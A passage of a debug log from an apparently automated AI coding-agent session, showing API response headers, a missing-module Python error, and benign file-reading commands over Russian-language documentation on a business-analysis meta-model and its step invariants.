[STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:52.857Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:52.861Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:52.864Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:52.870Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:52.873Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:52.876Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:52.879Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:52.886Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:52.889Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:52.895Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:52.899Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:52.901Z] [STDOUT]     \"cf-ray\": \"a4295d74bad74d8b-FRA\",\n[2026-09-29T07:44:52.904Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:52.909Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:52.915Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:52.921Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:52.924Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:52 GMT\",\n[2026-09-29T07:44:52.932Z] [STDOUT]     \"request-id\": \"req_011CfXMiLYCWjkBmkyFQZ4VP\",\n[2026-09-29T07:44:52.937Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:52.945Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:52.950Z] [STDOUT]     traceresponse: \"00-5f5b27b743c2bf4f3a149c6dfa12503b-cc98dbbf9bdedb7a-01\",\n[2026-09-29T07:44:52.956Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:52.962Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:52.966Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:52.969Z] [STDOUT]   },\n[2026-09-29T07:44:52.973Z] [STDOUT]   durationMs: 850,\n[2026-09-29T07:44:52.976Z] [STDOUT] }\n[2026-09-29T07:44:52.987Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:52.992Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:52 GMT\",\n[2026-09-29T07:44:52.996Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:53.003Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:53.010Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:53.017Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:53.030Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:53.052Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:53.058Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:53.062Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:53.064Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:53.069Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:53.071Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:53.076Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:53.078Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:44:53.087Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:53.089Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:53.092Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:53.104Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:53.108Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:53.114Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:53.119Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:53.121Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:53.123Z] [STDOUT]   \"request-id\": \"req_011CfXMiLYCWjkBmkyFQZ4VP\",\n[2026-09-29T07:44:53.125Z] [STDOUT]   \"traceresponse\": \"00-5f5b27b743c2bf4f3a149c6dfa12503b-cc98dbbf9bdedb7a-01\",\n[2026-09-29T07:44:53.127Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:53.129Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:53.131Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:53.133Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:53.137Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:53.140Z] [STDOUT]   \"cf-ray\": \"a4295d74bad74d8b-FRA\",\n[2026-09-29T07:44:53.142Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:53.144Z] [STDOUT] [log_0f1f71] response parsed {\n[2026-09-29T07:44:53.146Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:53.148Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:53.150Z] [STDOUT]   body: X {\n[2026-09-29T07:44:53.153Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:53.157Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:53.162Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:53.165Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:53.168Z] [STDOUT]     },\n[2026-09-29T07:44:53.170Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:53.172Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:53.175Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:53.177Z] [STDOUT]   },\n[2026-09-29T07:44:53.179Z] [STDOUT]   durationMs: 851,\n[2026-09-29T07:44:53.183Z] [STDOUT] }\n[2026-09-29T07:44:53.188Z] [INFO] {\n[2026-09-29T07:44:53.188Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"message\": {\n[2026-09-29T07:44:53.188Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:53.188Z] [INFO]     \"content\": [\n[2026-09-29T07:44:53.188Z] [INFO]       {\n[2026-09-29T07:44:53.188Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:53.188Z] [INFO]         \"content\": \"Exit code 1\\nTraceback (most recent call last):\\n  File \\\"\\\", line 1, in \\nModuleNotFoundError: No module named 'yaml'\",\n[2026-09-29T07:44:53.188Z] [INFO]         \"is_error\": true,\n[2026-09-29T07:44:53.188Z] [INFO]         \"tool_use_id\": \"toolu_01LV8hyFEV9Tjq9NVvhHVX5A\"\n[2026-09-29T07:44:53.188Z] [INFO]       }\n[2026-09-29T07:44:53.188Z] [INFO]     ]\n[2026-09-29T07:44:53.188Z] [INFO]   },\n[2026-09-29T07:44:53.188Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"uuid\": \"10cfdee9-c7ad-4590-9d1d-3e29591fc58f\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:53.051Z\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"tool_use_result\": \"Error: Exit code 1\\nTraceback (most recent call last):\\n  File \\\"\\\", line 1, in \\nModuleNotFoundError: No module named 'yaml'\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:53.188Z] [INFO] }\n[2026-09-29T07:44:53.195Z] [INFO] \u26a0\ufe0f Tool result error detected: Exit code 1\n[2026-09-29T07:44:53.195Z] [INFO] Traceback (most recent call last):\n[2026-09-29T07:44:53.195Z] [INFO]   File \"\", line 1, in \n[2026-09-29T07:44:53.195Z] [INFO] ModuleNotFoundError: No module named 'yaml'\n[2026-09-29T07:44:53.200Z] [INFO] {\n[2026-09-29T07:44:53.200Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"message\": {\n[2026-09-29T07:44:53.200Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:53.200Z] [INFO]     \"id\": \"msg_011CfXMiBU1CJrw5i85tgapP\",\n[2026-09-29T07:44:53.200Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:53.200Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:53.200Z] [INFO]     \"content\": [\n[2026-09-29T07:44:53.200Z] [INFO]       {\n[2026-09-29T07:44:53.200Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:53.200Z] [INFO]         \"id\": \"toolu_01VSQL7sC7yEissLiRApEL6x\",\n[2026-09-29T07:44:53.200Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:53.200Z] [INFO]         \"input\": {\n[2026-09-29T07:44:53.200Z] [INFO]           \"command\": \"sed -n 140,175p 10-theory.md; grep -n \\\"M-1\\\\|M-2\\\\|M-3\\\\|M-4\\\\|M-5\\\" 40-practice-and-cases.md | head -30; grep -n \\\"^#\\\" 40-practice-and-cases.md 30-decision-framework.md\",\n[2026-09-29T07:44:53.200Z] [INFO]           \"description\": \"Read invariants and metrics\"\n[2026-09-29T07:44:53.200Z] [INFO]         },\n[2026-09-29T07:44:53.200Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:53.200Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:53.200Z] [INFO]         }\n[2026-09-29T07:44:53.200Z] [INFO]       }\n[2026-09-29T07:44:53.200Z] [INFO]     ],\n[2026-09-29T07:44:53.200Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:53.200Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:53.200Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:53.200Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:53.200Z] [INFO]     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},\n[2026-09-29T07:44:53.200Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:53.200Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"uuid\": \"65f32785-882d-420a-9670-cce30026e9ee\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:53.097Z\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"request_id\": \"req_011CfXMiB2hj5Uhmzf434m5u\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:44:53.200Z] [INFO]     \"toolu_01VSQL7sC7yEissLiRApEL6x\": {\n[2026-09-29T07:44:53.200Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model && sed -n 140,175p 10-theory.md; grep -n \\\"M-1\\\\|M-2\\\\|M-3\\\\|M-4\\\\|M-5\\\" 40-practice-and-cases.md | head -30; grep -n \\\"^#\\\" 40-practice-and-cases.md 30-decision-framework.md\",\n[2026-09-29T07:44:53.200Z] [INFO]       \"description\": \"Read invariants and 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\"org_level_disabled\",\n[2026-09-29T07:44:54.347Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:54.351Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:54.356Z] [STDOUT]   \"request-id\": \"req_011CfXMiRhm3ZvQ2g9BVSzGf\",\n[2026-09-29T07:44:54.361Z] [STDOUT]   \"traceresponse\": \"00-eebc2e86cfb1aaeb52445e45a6b916f4-db48026c6e459ed4-01\",\n[2026-09-29T07:44:54.367Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:54.371Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:54.378Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:54.380Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:54.387Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:54.392Z] [STDOUT]   \"cf-ray\": \"a4295d7c383729ad-FRA\",\n[2026-09-29T07:44:54.398Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:54.402Z] [STDOUT] [log_495676] response parsed {\n[2026-09-29T07:44:54.404Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:54.407Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:54.409Z] [STDOUT]   body: X {\n[2026-09-29T07:44:54.413Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:54.416Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:54.421Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:54.423Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:54.429Z] [STDOUT]     },\n[2026-09-29T07:44:54.440Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:54.443Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:54.450Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:54.453Z] [STDOUT]   },\n[2026-09-29T07:44:54.458Z] [STDOUT]   durationMs: 825,\n[2026-09-29T07:44:54.464Z] [STDOUT] }\n[2026-09-29T07:44:54.469Z] [INFO] {\n[2026-09-29T07:44:54.469Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"message\": {\n[2026-09-29T07:44:54.469Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:54.469Z] [INFO]     \"id\": \"msg_011CfXMiLxWdz4Gz7Ym3GB9d\",\n[2026-09-29T07:44:54.469Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:54.469Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:54.469Z] [INFO]     \"content\": [\n[2026-09-29T07:44:54.469Z] [INFO]       {\n[2026-09-29T07:44:54.469Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:54.469Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:44:54.469Z] [INFO]         \"signature\": \"CAQS1wYKEAgSGAI4AUIIdGhpbmtpbmcSDHKyRPl8fG0CDqTflhoMQYW2EVEYfjTicvc/IjBton7H+ATj+TaQK/aM7u3XHHSFvCiXUkFluPuaG0IF3GgL188LwAK9KmzZnZqcX2gq9AUbnSL56GGwhKmUdkzxEuKUP8k4jt7nI4PmU1TUr+yAK99HooQeR4If8Q3i/Ma8z9G+0iSUglPrWzhDkFi4ls4Jw7olQWcakhHRbn3jQvufbSVxcq8jO+DyOECHq9A83/7XFnO3520NfJM+coMeLFh2VPvVw5UMLeTImmZf4SfJWBqU1Yci2qcllnNG06ycOlS9vB8RaqK7NKCWdZRu9F3/nSWI8l1l2fQshfSbSCgMAmpkHmrX4Wkj1QBE1cAAHqUcvteliKziXp8P/dR5a4AkmDULxppx9dyg4te0SPLCP1fqS5gqJdKV+13OuXbibgenRe4IzTCdBJFLj3PaRL41zViGStLsgChc7r6PqyCYO5iX3SRT7A6g7/R4j0ewpbdUozY7kk9IkVLSxbRp5Z5c7q0DfiuZB+2ZCbE38Nl5Z/L2SVusURAqSgk0Ux2E3JFXE5gydphkcRuVrlKdIRa2xrFuJxqkBwjzKflua5C6aTG+3A/7aVORNg2Es5MTjf8RAwX9Le6FBgpT01ZC3Jb0ve5q/9eJDgzcQW0UKON6Y1rXDhD7zokXE8y4XAiFJMQox49twrL5jnHwv1auELI5WlvSer+urHTf6DSUfdUvV7swIJsKkfOrr/5fTMVl87fm14bIShmK/JXOkR/L2eGhcDSTvmSwWQGC8j93x9sCEqAhG03DXHEZ7zHeifvIwgt6MJw6DV+CHDDE+j/mWpnsTR0U10fGFJ8K4xQAuMz8T9MrX030ACC5VrJ7DcAU8Lbo2Fb78Pc6AInUY0Ugyk+vnN8x6d3ltDSm+bI0HSg28EWq0+WASEWRoP52N8gh2ELEcDay+h1GJZ9LUcSRRVzYJZh9vtspAEhxg0nbAXEN6Xob0N5rr6S78qPUepsY18oGq5VInEDWip1/lDCFGzKhDtIwdvV8dkE/B/1whIoY/cpxC83WJueycwWwTqUcrEpNIjVDrIrwvcwTOX43itab0ZWHKHYEK/CozG/d+la0hCahqJMYAQ==\"\n[2026-09-29T07:44:54.469Z] [INFO]       }\n[2026-09-29T07:44:54.469Z] [INFO]     ],\n[2026-09-29T07:44:54.469Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:54.469Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:54.469Z] [INFO]       \"cache_creation_input_tokens\": 676,\n[2026-09-29T07:44:54.469Z] [INFO]       \"cache_read_input_tokens\": 14008,\n[2026-09-29T07:44:54.469Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:54.469Z] [INFO]         \"ephemeral_5m_input_tokens\": 676,\n[2026-09-29T07:44:54.469Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:54.469Z] [INFO]       },\n[2026-09-29T07:44:54.469Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:54.469Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:54.469Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:54.469Z] [INFO]     },\n[2026-09-29T07:44:54.469Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:54.469Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:54.469Z] [INFO]   },\n[2026-09-29T07:44:54.469Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"uuid\": \"ba8b828d-814b-4d7e-80b8-4b6a44aef819\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:54.079Z\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"request_id\": \"req_011CfXMiLYCWjkBmkyFQZ4VP\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:54.469Z] [INFO] }\n[2026-09-29T07:44:54.483Z] [INFO] {\n[2026-09-29T07:44:54.483Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:54.483Z] [INFO]   \"message\": {\n[2026-09-29T07:44:54.483Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:54.483Z] [INFO]     \"content\": [\n[2026-09-29T07:44:54.483Z] [INFO]       {\n[2026-09-29T07:44:54.483Z] [INFO]         \"tool_use_id\": \"toolu_01VSQL7sC7yEissLiRApEL6x\",\n[2026-09-29T07:44:54.483Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:54.483Z] [INFO]         \"content\": \"| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\\n| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. |\\n| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u0438 \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. |\\n| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0443 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67. |\\n\\n`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\n\u043f\u0430\u0440\u0430 \u00ab\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435/\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435\u00bb \u0434\u0435\u043b\u0430\u0435\u0442 \u0448\u0430\u0433 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c, \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014\\n\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c\u044b\u043c.\\n\\n**\u0427\u0442\u043e \u0437\u0430\u043a\u043e\u043d \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442.** \u0424\u043e\u0440\u043c\u0443\u043b\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 **\u0444\u043e\u0440\u043c\u0443**:\\n\u0438\u0437 \u043a\u0430\u043a\u0438\u0445 \u0447\u0430\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0432 \u043a\u0430\u043a\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043e\u043d\u0438 \u0438\u0434\u0443\u0442, \u0447\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0434\u043e\\n\u043d\u0430\u0447\u0430\u043b\u0430 \u0438 \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435. \u0421\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445\\n\u0444\u0430\u043a\u0442\u043e\u0432, \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u2014 \u0444\u043e\u0440\u043c\u043e\u0439 \u043d\u0435\\n\u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f: \u043e\u043d\u043e \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M0`\u2013`M4` 